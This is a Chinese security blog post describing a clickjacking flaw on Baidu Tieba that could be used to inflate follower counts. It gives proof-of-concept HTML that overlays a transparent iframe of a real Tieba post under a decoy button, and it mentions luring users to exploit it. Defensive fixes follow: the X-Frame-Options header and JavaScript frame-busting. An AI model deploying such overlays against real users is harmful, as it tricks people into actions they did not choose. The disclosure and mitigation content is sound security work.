百度贴吧没考虑点击劫持防御,可造成恶意刷粉丝。

估计很多地方都没考虑,还可以继续挖。

点击劫持(ClickJacking)是由互联网安全专家罗伯特.汉森和耶利米.格劳斯在2008年首创的。是一种视觉欺骗手段,在Web端就是Iframe嵌套一个透明不可见的页面,让用户在不知情的情况下,点击攻击者想要欺骗用户点击的位置。

百度贴吧页面没考虑该漏洞,可以导致恶意刷粉丝。

想象一下,我在某个大号下留个劲爆消息,诱导用户到我的域名点击按钮,最后大家都成我贴吧的粉丝了。

我的本地页面代码:

<html>

<head>

<meta charset="utf-8" />

<title>demo</title>

</head>

<div style="z-index:999;opacity:0.0;width:2000px; height:2500px;overflow:hidden;position:absolute;">

<iframe id="inner" style="position:absolute;top:0px;width:1500px;height:1500px;left:0px;" src="https://tieba.baidu.com/p/3564916309"></iframe>

</div>

<button id="click" style="cursor:pointer;z-index:10px;position:absolute;top:235px;left:438px;text-align:center;width:84px;height:35px;">点我试试</button>

</html>

解决方案:

一、X-FRAME-OPTIONS

X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。

并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。

这个头有三个值:

DENY // 拒绝任何域加载

SAMEORIGIN // 允许同源域下加载

ALLOW-FROM // 可以定义允许frame加载的页面地址

php中设置示例:

header ( "X-FRAME-OPTIONS:DENY");

二、目前最好的js的防御方案为:

<head>
 
<style> body { display : none;} </style>
 
</head>
 
<body>
 
<script>
 
if (self == top) {
 
var theBody = document.getElementsByTagName('body')[0];
 
theBody.style.display = "block";
 
} else {
 
top.location = self.location;
 
}
 
</script>
    上一篇: doyocms平行权限问题之泄露订单 - 网站安全 - 自学php网

    下一篇: 2345浏览器设计缺陷导致安全性不如IE浏览器存在潜在风险 - 网站安全 - 自学php网
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《百度贴吧点击劫持(可恶意刷粉丝)及解决方案 – 网站安全 – 自学php网
   

还没有人抢沙发呢~